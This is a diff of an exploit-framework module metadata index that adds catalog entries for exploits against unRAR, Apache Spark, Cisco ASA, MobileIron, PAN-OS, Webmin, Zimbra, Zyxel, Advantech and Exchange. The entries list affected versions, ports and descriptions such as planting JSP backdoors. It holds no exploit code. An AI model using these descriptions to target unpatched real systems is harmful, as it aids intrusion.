"description": "This module creates a RAR file that exploits CVE-2022-30333, which is a\n path-traversal vulnerability in unRAR that can extract an arbitrary file\n to an arbitrary location on a Linux system. UnRAR fixed this\n vulnerability in version 6.12 (open source version 6.1.7).\n\n The core issue is that when a symbolic link is unRAR'ed, Windows\n symbolic links are not properly validated on Linux systems and can\n therefore write a symbolic link that points anywhere on the filesystem.\n If a second file in the archive has the same name, it will be written\n to the symbolic link path.",
"references": [
"CVE-2022-30333",
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Generic RAR file"
],
"mod_time": "2022-08-22 11:46:50 +0000",
"path": "/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/fileformat/unrar_cve_2022_30333",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/ftp/proftp_sreplace": {
"name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)",
"fullname": "exploit/linux/ftp/proftp_sreplace",
@@ -57605,6 +58087,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/apache_spark_rce_cve_2022_33891": {
"name": "Apache Spark Unauthenticated Command Injection RCE",
"fullname": "exploit/linux/http/apache_spark_rce_cve_2022_33891",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-07-18",
"type": "exploit",
"author": [
"Kostya Kortchinsky",
"h00die-gr3y <h00die.gr3y@gmail.com>"
],
"description": "This module exploits an unauthenticated command injection vulnerability in Apache Spark.\n Successful exploitation results in remote code execution under the context of the Spark application user.\n\n The command injection occurs because Spark checks the group membership of the user passed\n in the ?doAs parameter by using a raw Linux command.\n\n It is triggered by a non-default setting called spark.acls.enable.\n This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.\n\n Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.",
"references": [
"URL-https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc",
"URL-https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891",
"CVE-2022-33891"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (In-Memory)",
"Linux Dropper"
],
"mod_time": "2022-09-07 12:45:13 +0000",
"path": "/modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb",
"is_install_path": true,
"ref_name": "linux/http/apache_spark_rce_cve_2022_33891",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": {
"name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection",
"fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection",
@@ -58342,6 +58886,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_asax_sfr_rce": {
"name": "Cisco ASA-X with FirePOWER Services Authenticated Command Injection",
"fullname": "exploit/linux/http/cisco_asax_sfr_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-22",
"type": "exploit",
"author": [
"jbaines-r7"
],
"description": "This module exploits an authenticated command injection vulnerability affecting\n Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's\n ASDM web server and lands in the FirePower Services SFR module's Linux virtual\n machine as the root user. Access to the virtual machine allows the attacker to\n pivot to the inside network, and access the outside network. Also, the SFR\n virtual machine is running snort on the traffic flowing through the ASA, so\n the attacker should have access to this diverted traffic as well.\n\n This module requires ASDM credentials in order to traverse the ASDM interface.\n A similar attack can be performed via Cisco CLI (over SSH), although that isn't\n implemented here.\n\n Finally, it's worth noting that this attack bypasses the affects of the\n `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be\n available but this attack makes it available).\n\n Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that\n support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,\n and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module\n versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will\n receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.",
"references": [
"CVE-2022-20828",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG",
"URL-https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/",
"URL-https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Shell Dropper",
"Linux Dropper"
],
"mod_time": "2022-09-02 08:44:04 +0000",
"path": "/modules/exploits/linux/http/cisco_asax_sfr_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/cisco_asax_sfr_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_firepower_useradd": {
"name": "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
"fullname": "exploit/linux/http/cisco_firepower_useradd",
@@ -63589,6 +64195,78 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/mobileiron_core_log4shell": {
"name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)",
"fullname": "exploit/linux/http/mobileiron_core_log4shell",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-12-12",
"type": "exploit",
"author": [
"Spencer McIntyre",
"RageLtMan <rageltman@sempervictus>",
"rwincey",
"jbaines-r7"
],
"description": "MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server\n will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS\n command execution in the context of the tomcat user.\n\n This module will start an LDAP server that the target will need to connect to.",
"references": [
"CVE-2021-44228",
"URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis",
"URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US",
"URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux"
],
"mod_time": "2022-08-02 11:04:13 +0000",
"path": "/modules/exploits/linux/http/mobileiron_core_log4shell.rb",
"is_install_path": true,
"ref_name": "linux/http/mobileiron_core_log4shell",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"AKA": [
"Log4Shell",
"LogJam"
],
"Reliability": [
"repeatable-session"
],
"RelatedModules": [
"auxiliary/scanner/http/log4shell_scanner",
"exploit/multi/http/log4shell_header_injection"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/mobileiron_mdm_hessian_rce": {
"name": "MobileIron MDM Hessian-Based Java Deserialization RCE",
"fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce",
@@ -65301,6 +65979,72 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/panos_op_cmd_exec": {
"name": "Palo Alto Networks Authenticated Remote Code Execution",
"fullname": "exploit/linux/http/panos_op_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-09-09",
"type": "exploit",
"author": [
"Mikhail Klyuchnikov",
"Nikita Abramov",
"UnD3sc0n0c1d0",
"jheysel-r7"
],
"description": "An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated\n administrators to execute arbitrary OS commands with root privileges.\n This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10",
"references": [
"CVE-2020-2038",
"URL-https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/",
"URL-https://security.paloaltonetworks.com/CVE-2020-2038",
"URL-https://github.com/und3sc0n0c1d0/CVE-2020-2038"
],
"platform": "Linux",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux ",
"Unix In-Memory"
],
"mod_time": "2022-09-15 10:45:11 +0000",
"path": "/modules/exploits/linux/http/panos_op_cmd_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/panos_op_cmd_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/panos_readsessionvars": {
"name": "Palo Alto Networks readSessionVarsFromFile() Session Corruption",
"fullname": "exploit/linux/http/panos_readsessionvars",
@@ -69104,6 +69848,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/webmin_package_updates_rce": {
"name": "Webmin Package Updates RCE",
"fullname": "exploit/linux/http/webmin_package_updates_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-07-26",
"type": "exploit",
"author": [
"Christophe De La Fuente",
"Emir Polat"
],
"description": "This module exploits an arbitrary command injection in Webmin\n versions prior to 1.997.\n\n Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform\n package updates and installation. Due to a lack of input\n sanitization, it is possibe to inject arbitrary command that will be\n concatenated to the package manager call.\n\n This exploit requires authentication and the account must have access\n to the Software Package Updates module.",
"references": [
"EDB-50998",
"URL-https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165",
"CVE-2022-36446"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, aarch64",
"rport": 10000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix In-Memory",
"Linux Dropper (x86 & x64)",
"Linux Dropper (ARM64)"
],
"mod_time": "2022-08-09 15:09:25 +0000",
"path": "/modules/exploits/linux/http/webmin_package_updates_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/webmin_package_updates_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/webmin_packageup_rce": {
"name": "Webmin Package Updates Remote Command Execution",
"fullname": "exploit/linux/http/webmin_packageup_rce",
@@ -69457,6 +70265,136 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/zimbra_mboximport_cve_2022_27925": {
"name": "Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)",
"fullname": "exploit/linux/http/zimbra_mboximport_cve_2022_27925",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-05-10",
"type": "exploit",
"author": [
"Volexity Threat Research",
"Yang_99's Nest",
"Ron Bowes"
],
"description": "This module POSTs a ZIP file containing path traversal characters to\n the administrator interface for Zimbra Collaboration Suite. If\n successful, it plants a JSP-based backdoor within the web directory, then\n executes it.\n\n The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's\n ZIP implementation that can result in the extraction of an arbitrary file\n to an arbitrary location on the host.\n\n This issue is exploitable on the following versions of Zimbra:\n\n * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)\n * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)\n\n Note that the Open Source Edition is not affected.",
"references": [
"CVE-2022-27925",
"CVE-2022-37042",
"URL-https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/",
"URL-https://www.cisa.gov/uscert/ncas/alerts/aa22-228a",
"URL-https://www.yang99.top/index.php/archives/82/",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": 7071,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-08-22 12:11:08 +0000",
"path": "/modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_mboximport_cve_2022_27925",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/zimbra_unrar_cve_2022_30333": {
"name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)",
"fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"Simon Scannell",
"Ron Bowes"
],
"description": "This module creates a RAR file that can be emailed to a Zimbra server\n to exploit CVE-2022-30333. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in unRAR that can\n extract an arbitrary file to an arbitrary location on a Linux system.\n\n This issue is exploitable on the following versions of Zimbra, provided\n UnRAR version 6.11 or earlier is installed:\n\n * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)\n * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)",
"references": [
"CVE-2022-30333",
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32",
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-08-17 10:19:36 +0000",
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/zimbra_xxe_rce": {
"name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF",
"fullname": "exploit/linux/http/zimbra_xxe_rce",
@@ -73185,6 +74123,59 @@
],
"needs_cleanup": null
},
"exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": {
"name": "VMware Workspace ONE Access CVE-2022-31660",
"fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-08-02",
"type": "exploit",
"author": [
"Spencer McIntyre"
],
"description": "VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\n to those of the root user by modifying a file and then restarting the vmware-certproxy service which\n invokes it. The service control is permitted via the sudo configuration without a password.",
"references": [
"CVE-2022-31660",
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2022-08-03 17:45:06 +0000",
"path": "/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb",
"is_install_path": true,
"ref_name": "linux/local/vmware_workspace_one_access_certproxy_lpe",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null
},
"exploit_linux/local/yum_package_manager_persistence": {
"name": "Yum Package Manager Persistence",
"fullname": "exploit/linux/local/yum_package_manager_persistence",
@@ -73228,6 +74219,60 @@
],
"needs_cleanup": true
},
"exploit_linux/local/zimbra_slapper_priv_esc": {
"name": "Zimbra zmslapd arbitrary module load",
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-10-27",
"type": "exploit",
"author": [
"Darren Martyn",
"Ron Bowes"
],
"description": "This module exploits CVE-2022-37393, which is a vulnerability in\n Zimbra's sudo configuration that permits the zimbra user to execute\n the zmslapd binary as root with arbitrary parameters. As part of its\n intended functionality, zmslapd can load a user-defined configuration\n file, which includes plugins in the form of .so files, which also\n execute as root.",
"references": [
"CVE-2022-37393",
"URL-https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-08-04 08:19:44 +0000",
"path": "/modules/exploits/linux/local/zimbra_slapper_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/zimbra_slapper_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/zpanel_zsudo": {
"name": "ZPanel zsudo Local Privilege Escalation Exploit",
"fullname": "exploit/linux/local/zpanel_zsudo",
@@ -73273,6 +74318,60 @@
],
"needs_cleanup": null
},
"exploit_linux/local/zyxel_suid_cp_lpe": {
"name": "Zyxel Firewall SUID Binary Privilege Escalation",
"fullname": "exploit/linux/local/zyxel_suid_cp_lpe",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-14",
"type": "exploit",
"author": [
"jbaines-r7"
],
"description": "This module exploits CVE-2022-30526, a local privilege escalation vulnerability that\n allows a low privileged user (e.g. nobody) escalate to root. The issue stems from\n a suid binary that allows all users to copy files as root. This module overwrites\n the firewall's crontab to execute an attacker provided script, resulting in code\n execution as root.\n\n In order to use this module, the attacker must first establish shell access. For\n example, by exploiting CVE-2022-30525.\n\n Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),\n ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.",
"references": [
"CVE-2022-30526",
"URL-https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml"
],
"platform": "Linux,Unix",
"arch": "cmd, mips64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2022-07-19 03:29:11 +0000",
"path": "/modules/exploits/linux/local/zyxel_suid_cp_lpe.rb",
"is_install_path": true,
"ref_name": "linux/local/zyxel_suid_cp_lpe",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/misc/accellion_fta_mpipe2": {
"name": "Accellion FTA MPIPE2 Command Execution",
"fullname": "exploit/linux/misc/accellion_fta_mpipe2",
@@ -78069,10 +79168,13 @@
"mihi",
"joev <joev@metasploit.com>"
],
"description": "This exploit dynamically creates a .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.",
"description": "Mozilla Firefox before version 41 allowed users to install\n unsigned browser extensions from arbitrary web servers.\n\n This module dynamically creates an unsigned .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.\n\n As of Firefox 41, unsigned extensions can still be installed\n on Firefox Nightly, Unbranded and Development builds when\n configured with `xpinstall.signatures.required` set to `false`.\n\n Note: this module generates legacy extensions which are\n supported only in Firefox before version 57.",
"references": [
"URL-https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions",
"URL-http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
"URL-https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/",
"URL-https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/",
"URL-https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon",
"URL-https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions",
"URL-https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
],
"platform": "Java,Linux,OSX,Solaris,Windows",
"arch": "",
@@ -78087,7 +79189,7 @@
"Universal (Javascript XPCOM Shell)",
"Native Payload"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-09-05 02:23:37 +0000",
"path": "/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb",
"is_install_path": true,
"ref_name": "multi/browser/firefox_xpi_bootstrapped_addon",
@@ -78095,6 +79197,17 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk",
"screen-effects"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -84597,7 +85710,7 @@
"jamcut",
"thesubtlety"
],
"description": "This module uses the Jenkins-CI Groovy script console to execute\n OS commands using Java.",
"description": "This module uses the Jenkins-CI Groovy script console to execute\n OS commands using Java.",
"references": [
"URL-https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console"
],
@@ -84624,7 +85737,7 @@
"Linux",
"Unix CMD"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-09-13 16:09:28 +0000",
"path": "/modules/exploits/multi/http/jenkins_script_console.rb",
"is_install_path": true,
"ref_name": "multi/http/jenkins_script_console",
@@ -97013,7 +98126,7 @@
"Unix (In-Memory)",
"Windows (In-Memory)"
],
"mod_time": "2022-02-15 08:47:50 +0000",
"mod_time": "2022-09-13 22:36:31 +0000",
"path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb",
"is_install_path": true,
"ref_name": "multi/php/ignition_laravel_debug_rce",
@@ -132996,7 +134109,8 @@
"type": "exploit",
"author": [
"nao sec",
"mekhalleh (RAMELLA Sébastien)"
"mekhalleh (RAMELLA Sébastien)",
"bwatters-r7"
],
"description": "This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template\n feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.",
"references": [
@@ -133020,7 +134134,7 @@
"targets": [
"Microsoft Office Word"
],
"mod_time": "2022-06-02 00:58:20 +0000",
"mod_time": "2022-08-25 15:56:39 +0000",
"path": "/modules/exploits/windows/fileformat/word_msdtjs_rce.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/word_msdtjs_rce",
@@ -136518,6 +137632,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/advantech_iview_networkservlet_cmd_inject": {
"name": "Advantech iView NetworkServlet Command Injection",
"fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"rgod",
"y4er",
"Shelby Pace"
],
"description": "Versions of Advantech iView software below `5.7.04.6469` are\n vulnerable to an unauthenticated command injection vulnerability\n via the `NetworkServlet` endpoint.\n The database backup functionality passes a user-controlled parameter,\n `backup_file` to the `mysqldump` command. The sanitization functionality only\n tests for SQL injection attempts and directory traversal, so leveraging the\n `-r` and `-w` `mysqldump` flags permits exploitation.\n The command injection vulnerability is used to write a payload on the target\n and achieve remote code execution as NT AUTHORITY\\SYSTEM.",
"references": [
"URL-https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/",
"CVE-2022-2143"
],
"platform": "Windows",
"arch": "x86, x64, cmd",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Dropper",
"Windows Command"
],
"mod_time": "2022-08-09 16:12:54 +0000",
"path": "/modules/exploits/windows/http/advantech_iview_networkservlet_cmd_inject.rb",
"is_install_path": true,
"ref_name": "windows/http/advantech_iview_networkservlet_cmd_inject",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/advantech_iview_unauth_rce": {
"name": "Advantech iView Unauthenticated Remote Code Execution",
"fullname": "exploit/windows/http/advantech_iview_unauth_rce",
@@ -139003,11 +140180,11 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/exchange_chainedserializationbinder_denylist_typo_rce": {
"name": "Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE",
"fullname": "exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce",
"exploit_windows/http/exchange_chainedserializationbinder_rce": {
"name": "Microsoft Exchange Server ChainedSerializationBinder RCE",
"fullname": "exploit/windows/http/exchange_chainedserializationbinder_rce",
"aliases": [
"exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce"
],
"rank": 600,
"disclosure_date": "2021-12-09",
@@ -139019,16 +140196,21 @@
"Microsoft Security Response Center",
"peterjson",
"testanull",
"Grant Willcox"
"Grant Willcox",
"Spencer McIntyre",
"Markus Wulftange"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code\n on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11\n prior to Security Update 2, Exchange Server 2016 CU21 prior to\n Security Update 3, and Exchange Server 2016 CU22 prior to\n Security Update 2.\n\n Note that authentication is required to exploit this vulnerability.\n\n The specific flaw exists due to the fact that the deny list for the\n ChainedSerializationBinder had a typo whereby an entry was typo'd as\n System.Security.ClaimsPrincipal instead of the proper value of\n System.Security.Claims.ClaimsPrincipal.\n\n By leveraging this vulnerability, attacks can bypass the\n ChainedSerializationBinder's deserialization deny list\n and execute code as NT AUTHORITY\\SYSTEM.\n\n Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,\n and Exchange Server 2016 CU22 SU0 on Windows Server 2016.",
"description": "This module exploits vulnerabilities within the ChainedSerializationBinder as used in\n Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and\n Exchange Server 2016 CU22 all prior to Mar22SU.\n\n Note that authentication is required to exploit these vulnerabilities.",
"references": [
"CVE-2021-42321",
"URL-https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321",
"URL-https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7",
"URL-https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169",
"URL-https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398",
"URL-https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852"
"URL-https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852",
"CVE-2022-23277",
"URL-https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html",
"URL-https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c"
],
"platform": "Windows",
"arch": "cmd, x86, x64",
@@ -139053,10 +140235,10 @@
"Windows Dropper",
"PowerShell Stager"
],
"mod_time": "2022-03-17 09:56:51 +0000",
"path": "/modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb",
